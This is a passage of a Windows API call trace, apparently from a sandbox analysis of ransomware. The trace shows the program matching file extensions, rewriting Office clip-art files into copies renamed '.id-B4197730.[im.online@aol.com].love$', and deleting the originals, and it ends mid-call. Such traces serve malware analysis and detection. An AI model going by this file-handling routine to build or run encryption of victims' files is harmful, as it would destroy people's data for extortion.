lstrlenW (lpString=".jpg") returned 4 [0123.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.712] lstrlenW (lpString=".doc") returned 4 [0123.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString=".docx") returned 5 [0123.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.712] lstrlenW (lpString=".pdf") returned 4 [0123.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString=".xls") returned 4 [0123.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.712] lstrlenW (lpString=".xlsx") returned 5 [0123.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.712] lstrlenW (lpString=".ppt") returned 4 [0123.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.712] lstrlenW (lpString=".zip") returned 4 [0123.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.712] lstrlenW (lpString=".rar") returned 4 [0123.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString=".bz2") returned 4 [0123.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString=".7z") returned 3 [0123.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.712] lstrlenW (lpString=".dbf") returned 4 [0123.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.712] lstrlenW (lpString=".1cd") returned 4 [0123.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.712] lstrlenW (lpString=".jpg") returned 4 [0123.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.713] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.713] lstrlenW (lpString="BL00152_.WMF") returned 12 [0123.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.713] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=1516) returned 1 [0123.713] CloseHandle (hObject=0x3a0) returned 1 [0123.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0123.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.714] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.714] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.714] GetLastError () returned 0x0 [0123.714] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0123.718] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0123.719] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.719] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.719] SetEndOfFile (hFile=0x344) returned 1 [0123.720] CloseHandle (hObject=0x344) returned 1 [0123.720] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.721] SetEndOfFile (hFile=0x3a0) returned 1 [0123.721] CloseHandle (hObject=0x3a0) returned 1 [0123.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0123.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.722] lstrlenW (lpString=".doc") returned 4 [0123.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.722] lstrlenW (lpString=".docx") returned 5 [0123.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.722] lstrlenW (lpString=".pdf") returned 4 [0123.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.722] lstrlenW (lpString=".xls") returned 4 [0123.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.722] lstrlenW (lpString=".xlsx") returned 5 [0123.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.722] lstrlenW (lpString=".ppt") returned 4 [0123.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.722] lstrlenW (lpString=".zip") returned 4 [0123.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.723] lstrlenW (lpString=".rar") returned 4 [0123.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.723] lstrlenW (lpString=".bz2") returned 4 [0123.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.723] lstrlenW (lpString=".7z") returned 3 [0123.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.723] lstrlenW (lpString=".dbf") returned 4 [0123.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.723] lstrlenW (lpString=".1cd") returned 4 [0123.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.723] lstrlenW (lpString=".jpg") returned 4 [0123.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.723] lstrlenW (lpString=".doc") returned 4 [0123.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.723] lstrlenW (lpString=".docx") returned 5 [0123.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.723] lstrlenW (lpString=".pdf") returned 4 [0123.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.723] lstrlenW (lpString=".xls") returned 4 [0123.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.723] lstrlenW (lpString=".xlsx") returned 5 [0123.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.723] lstrlenW (lpString=".ppt") returned 4 [0123.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.723] lstrlenW (lpString=".zip") returned 4 [0123.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.723] lstrlenW (lpString=".rar") returned 4 [0123.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.724] lstrlenW (lpString=".bz2") returned 4 [0123.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.724] lstrlenW (lpString=".7z") returned 3 [0123.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.724] lstrlenW (lpString=".dbf") returned 4 [0123.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.724] lstrlenW (lpString=".1cd") returned 4 [0123.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0123.724] lstrlenW (lpString=".jpg") returned 4 [0123.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.724] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.724] lstrlenW (lpString="BL00194_.WMF") returned 12 [0123.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.724] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3986) returned 1 [0123.724] CloseHandle (hObject=0x3a0) returned 1 [0123.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0123.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.725] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.725] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.725] GetLastError () returned 0x0 [0123.725] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xf92, lpOverlapped=0x0) returned 1 [0123.737] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0123.738] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.738] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.738] SetEndOfFile (hFile=0x344) returned 1 [0123.738] CloseHandle (hObject=0x344) returned 1 [0123.739] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.739] SetEndOfFile (hFile=0x3a0) returned 1 [0123.740] CloseHandle (hObject=0x3a0) returned 1 [0123.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0123.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.742] lstrlenW (lpString=".doc") returned 4 [0123.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString=".docx") returned 5 [0123.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.743] lstrlenW (lpString=".pdf") returned 4 [0123.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString=".xls") returned 4 [0123.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.743] lstrlenW (lpString=".xlsx") returned 5 [0123.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.743] lstrlenW (lpString=".ppt") returned 4 [0123.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.743] lstrlenW (lpString=".zip") returned 4 [0123.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.743] lstrlenW (lpString=".rar") returned 4 [0123.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString=".bz2") returned 4 [0123.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString=".7z") returned 3 [0123.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.743] lstrlenW (lpString=".dbf") returned 4 [0123.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.743] lstrlenW (lpString=".1cd") returned 4 [0123.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.743] lstrlenW (lpString=".jpg") returned 4 [0123.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.743] lstrlenW (lpString=".doc") returned 4 [0123.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.743] lstrlenW (lpString=".docx") returned 5 [0123.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.744] lstrlenW (lpString=".pdf") returned 4 [0123.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.744] lstrlenW (lpString=".xls") returned 4 [0123.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.744] lstrlenW (lpString=".xlsx") returned 5 [0123.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.744] lstrlenW (lpString=".ppt") returned 4 [0123.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.744] lstrlenW (lpString=".zip") returned 4 [0123.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.744] lstrlenW (lpString=".rar") returned 4 [0123.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.744] lstrlenW (lpString=".bz2") returned 4 [0123.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.744] lstrlenW (lpString=".7z") returned 3 [0123.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.744] lstrlenW (lpString=".dbf") returned 4 [0123.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.744] lstrlenW (lpString=".1cd") returned 4 [0123.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0123.744] lstrlenW (lpString=".jpg") returned 4 [0123.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.744] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.744] lstrlenW (lpString="BL00234_.WMF") returned 12 [0123.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.746] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=9304) returned 1 [0123.746] CloseHandle (hObject=0x344) returned 1 [0123.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0123.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0123.748] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.748] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0123.748] GetLastError () returned 0x0 [0123.748] ReadFile (in: hFile=0x380, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x2458, lpOverlapped=0x0) returned 1 [0123.848] WriteFile (in: hFile=0x370, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x2460, lpOverlapped=0x0) returned 1 [0123.849] ReadFile (in: hFile=0x380, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.849] WriteFile (in: hFile=0x370, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.850] SetEndOfFile (hFile=0x370) returned 1 [0123.850] CloseHandle (hObject=0x370) returned 1 [0123.851] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.851] SetEndOfFile (hFile=0x380) returned 1 [0123.852] CloseHandle (hObject=0x380) returned 1 [0123.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0123.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.915] lstrlenW (lpString=".doc") returned 4 [0123.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.915] lstrlenW (lpString=".docx") returned 5 [0123.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.916] lstrlenW (lpString=".pdf") returned 4 [0123.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.916] lstrlenW (lpString=".xls") returned 4 [0123.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.916] lstrlenW (lpString=".xlsx") returned 5 [0123.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.916] lstrlenW (lpString=".ppt") returned 4 [0123.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.916] lstrlenW (lpString=".zip") returned 4 [0123.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.916] lstrlenW (lpString=".rar") returned 4 [0123.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.916] lstrlenW (lpString=".bz2") returned 4 [0123.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.916] lstrlenW (lpString=".7z") returned 3 [0123.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.916] lstrlenW (lpString=".dbf") returned 4 [0123.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.916] lstrlenW (lpString=".1cd") returned 4 [0123.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.916] lstrlenW (lpString=".jpg") returned 4 [0123.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0123.917] lstrlenW (lpString=".doc") returned 4 [0123.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.917] lstrlenW (lpString=".docx") returned 5 [0123.917] lstrcmpiW 